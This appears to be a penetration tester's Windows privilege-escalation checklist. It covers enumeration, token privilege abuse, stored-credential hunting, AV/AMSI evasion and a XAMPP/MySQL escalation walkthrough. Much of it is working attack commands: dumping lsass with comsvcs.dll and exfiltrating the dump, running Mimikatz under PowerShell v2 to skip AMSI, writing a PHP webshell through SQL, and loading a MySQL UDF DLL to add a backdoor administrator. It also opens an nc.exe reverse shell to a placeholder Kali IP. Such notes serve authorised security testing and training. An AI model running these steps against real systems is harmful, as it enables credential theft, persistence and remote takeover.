Windows Privesc
Checklist
OS Enumeration
systeminfo
hostname
Get-ComputerInfo | select OsName, OsVersion, OsBuildNumber
Patch Level & Exploits
wmic qfe get Caption,Description,HotFixID,InstalledOn
Get-HotFix | select HotFixID, InstalledOn
- Cross-reference missing KBs against known LPE CVEs (PrintNightmare, PetitPotam, HiveNightmare, CVE-2021-1732, etc.)
- Exploit suggesters: Watson, Sherlock (PowerSploit), winPEAS itself flags likely candidates
- Always Google
<OS build> privilege escalation <year>too.
User & Privileges
whoami /all
whoami /priv
whoami /groups
- cmd.exe shows assigned-but-not-enabled privileges as
Disabled; PowerShell auto-enables privileges present in the token on session start, so the same account can show differentStatevalues depending on which shell you check from. Always check both. - Look for:
SeImpersonatePrivilege,SeAssignPrimaryPrivilege,SeDebugPrivilege,SeBackupPrivilege,SeRestorePrivilege,SeTakeOwnershipPrivilege,SeLoadDriverPrivilege,SeTcbPrivilege,SeCreateTokenPrivilege- see #Token Privilege Abuse for what to do with each.
Environment Info
set
Get-ChildItem Env:
Installed Software
wmic product get name,version
dir "C:\Program Files" "C:\Program Files (x86)"
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | select DisplayName, DisplayVersion
Processes
tasklist /v
tasklist /v | findstr <processname>
Get-Process | select ProcessName, Id, Path
# Check what account a specific process runs as
$p = Get-WmiObject Win32_Process -Filter "name='mysqld.exe'"; $p.GetOwner()
$p = Get-WmiObject Win32_Process -Filter "name='httpd.exe'"; $p.GetOwner()
# All processes with their owners
Get-WmiObject Win32_Process | ForEach-Object { $owner = $_.GetOwner(); [PSCustomObject]@{ Name=$_.Name; PID=$_.ProcessId; User="$($owner.Domain)\$($owner.User)" } } | Sort-Object User
- Always check service process owners before attempting UDF or webshell privesc - the account the process runs as is what you'll get after exploitation
- MySQL and Apache (httpd) are separate services and can run as different accounts even on the same XAMPP install
Network & Internal Services
netstat -ano
ipconfig /all
- Compare against your external nmap results; anything listening only on 127.0.0.1/internal interfaces is worth a look now that you have a shell.
Scheduled Tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"}
- Look for tasks running as SYSTEM/admin that point to a user-writable script or binary.
Services
sc query
sc qc <service_name>
icacls "<service_binary_path>"
Get-WmiObject win32_service | select Name, StartName, PathName | where {$_.StartName -notlike "*LocalService*" -and $_.StartName -notlike "*NetworkService*"}
- Unquoted service paths: only exploitable if the path itself contains a space (e.g.
C:\Program Files\some app\service.exe), not just if winpeas flags it as technically unquoted. - Modifiable service binary or directory: if
icaclsshows write access for your user/Everyone on the exe or its folder, replace the binary (or drop a payload beside it for DLL hijacking) and restart the service (or wait for reboot). - Modifiable service registry key: if you can write
HKLM\SYSTEM\CurrentControlSet\Services\<svc>, you can repointImagePathdirectly.
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- Both must be
1. If so, build a malicious .msi (msfvenom-f msi) and runmsiexec /quiet /qn /i payload.msi.
Stored Credentials
cmdkey /list
# Windows Vault / Credential Manager
Get-ChildItem "C:\Users\*\AppData\Local\Microsoft\Credentials\" -Force -ErrorAction SilentlyContinue
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Credentials\" -Force -ErrorAction SilentlyContinue
# Unattended install files
Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,sysprep.inf,sysprep.xml -ErrorAction SilentlyContinue
# SAM/SYSTEM backups
Get-ChildItem -Path C:\Windows\repair, C:\Windows\System32\config\RegBack -ErrorAction SilentlyContinue
# GPP passwords (cpassword in SYSVOL, decryptable with a known AES key)
Get-ChildItem -Path \\<dc>\SYSVOL -Recurse -Include *.xml -ErrorAction SilentlyContinue | Select-String "cpassword"
- Registry locations worth checking manually:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon(Default/AutoLogon creds), PuTTY sessions (HKCU\Software\SimonTatham\PuTTY\Sessions), OpenSSH agent keys (HKCU\Software\OpenSSH\Agent\Keys), VNC passwords. - Browser data:
AppData\Local\Microsoft\Edge\User Data\Default\Login Data/Google\Chrome\...(needs DPAPI unlock, same user context works without a password).
Interesting Files
dir /s /b C:\*password* C:\*.config C:\*.xml C:\*.txt 2>nul | findstr /i "pass cred secret"
Get-ChildItem -Path C:\Users\ -Include *.txt,*.config,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List
- Check
C:\Users\*\Desktop,Documents,Downloadsfor notes/scripts left behind. - PowerShell history:
type (Get-PSReadLineOption).HistorySavePathorC:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. - Web app source trees (XAMPP
htdocs, IISinetpub\wwwroot) for config files with DB creds.
Token Privilege Abuse
- SeImpersonatePrivilege / SeAssignPrimaryToken: classic potato-family exploits (PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM connection and steal its token. Usually held by service accounts (IIS, MSSQL) rather than plain users.
- SeDebugPrivilege: lets you open a handle to any process, including SYSTEM ones, then duplicate its token. Options:
- Dump lsass and parse offline (lower detection risk than running mimikatz live):
Exfil the .dmp, then on Kali:tasklist /svc | findstr lsass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Users\Public\lsass.dmp fullpypykatz lsa minidump lsass.dmp - Or live token theft/injection with Mimikatz debug then
token::elevateif you can get it past Defender. - Note: SeDebugPrivilege is normally only assigned to local Administrators. If a plain domain user's token shows it, that's itself worth flagging as a misconfiguration (GPO/local policy granting it too broadly).
- Dump lsass and parse offline (lower detection risk than running mimikatz live):
- SeBackupPrivilege / SeRestorePrivilege: lets you read/write files bypassing ACLs, e.g.
reg save HKLM\SAM,reg save HKLM\SYSTEM, then extract hashes offline withsecretsdump.py -sam SAM -system SYSTEM LOCAL. - SeLoadDriverPrivilege: can load a vulnerable signed driver for kernel exploitation (e.g. Capcom.sys technique).
- SeTakeOwnershipPrivilege:
takeown /f <file>then reset ACLs on anything you want to control, including service binaries. - SeTcbPrivilege ("Act as part of the operating system"): lets a process call
LogonUserA/WthenImpersonateLoggedOnUserandCreateProcessAsUserto log on as any local user and spawn a process in that context, without needing their password. No standard off the shelf tool for this (unlike the potato family for SeImpersonate) - usually needs a small custom C#/C program calling those Win32 APIs, or a public PoC matched to the target build. Normally only held by SYSTEM or protected service accounts, so seeing it on a plain user is itself a flag. - SeCreateTokenPrivilege: lets a process call
NtCreateTokento fabricate an arbitrary access token (any SID, any privileges) from scratch, then attach it to a new process. Needs custom code to build a valid token structure, and usually needsSeAssignPrimaryTokenPrivilegealongside it to actually apply the token. Rarely exploitable in practice - treat it as a misconfiguration flag more than a quick win.
AV / AMSI Considerations
- Check
Get-MpComputerStatus(PowerShell) or the winpeas AV section before dropping known-signature tools. - PowerShell v2 predates AMSI: if
Get-WmiObject Win32_OptionalFeatureor the registry shows PSv2 still installed,powershell -version 2skips AMSI scanning entirely, useful for running otherwise-flagged scripts (Mimikatz, PowerUp, etc.) without needing a separate bypass.
For getting tools onto the box, see File Transfer (Inbound).
Software-Specific Privesc
XAMPP / MySQL UDF
MySQL running as SYSTEM with a blank root password is a classic XAMPP misconfiguration. Two paths depending on what's available: UDF for command execution via MySQL directly, or a PHP webshell via Apache if the web root is writable - check which services run as SYSTEM first before deciding.
Check service accounts before attempting anything:
$p = Get-WmiObject Win32_Process -Filter "name='mysqld.exe'"; $p.GetOwner()
$p = Get-WmiObject Win32_Process -Filter "name='httpd.exe'"; $p.GetOwner()
MySQL and Apache are separate services - either or both can run as SYSTEM on a default XAMPP install.
Pre-flight SQL checks (via phpMyAdmin or direct connection):
SELECT user(), @@hostname;
SELECT @@global.secure_file_priv; -- empty = can write anywhere; NULL = blocked entirely
SELECT @@plugin_dir; -- UDF drop location, usually C:\xampp\mysql\lib\plugin\
Test file write first:
SELECT 'test' INTO DUMPFILE 'C:\\Users\\Public\\test.txt';
Check from RDP: type C:\Users\Public\test.txt. If it exists, MySQL can write files and you know the service account has write access to that path.
Path A: PHP Webshell via Apache (try first - simpler)
Only works if Apache (httpd.exe) runs as SYSTEM or another privileged account.
- Write a webshell to htdocs:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';
- Test execution and confirm account:
http://<target>/shell.php?cmd=whoami
- If SYSTEM, grab proof directly:
http://<target>/shell.php?cmd=type+C:\Users\Administrator\Desktop\proof.txt
- Or get a reverse shell (cleaner for the report):
-- First, upload nc.exe via SQL
SELECT 0x<nc_hex> INTO DUMPFILE 'C:\\Users\\Public\\nc.exe';
http://<target>/shell.php?cmd=C:\Users\Public\nc.exe+-e+cmd.exe+<kali-ip>+4444
Path B: MySQL UDF (if plugin_dir is writable and MySQL runs as SYSTEM)
@@plugin_dir showing a path does NOT mean the directory exists - MySQL only stores the configured value. Verify the directory exists first and create it if not:
mkdir C:\xampp\mysql\lib\plugin
-
Get the UDF DLL -
lib_mysqludf_syscompiled for Windows x64. Pre-compiled copies on Kali at/usr/share/metasploit-framework/data/exploits/mysql/or grab from GitHub. -
Convert to hex on Kali and upload via SQL:
xxd -p lib_mysqludf_sys_64.dll | tr -d '\n'
SELECT 0x<hex_of_dll> INTO DUMPFILE 'C:\\xampp\\mysql\\lib\\plugin\\udf.dll';
- Register the function:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.dll';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
- Execute as SYSTEM:
SELECT sys_eval('whoami');
SELECT sys_exec('net user hacker P@ssw0rd123 /add');
SELECT sys_exec('net localgroup administrators hacker /add');
SELECT sys_exec('C:\\Users\\Public\\nc.exe -e cmd.exe <kali-ip> 4444');
- Cleanup:
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
SET GLOBAL plugin_dir is read-only - cannot be changed at runtime, only via my.ini at MySQL startup. If the plugin dir doesn't exist and can't be created, use Path A instead.
Metasploit alternative: exploit/multi/mysql/mysql_udf_payload handles DLL upload and function registration automatically.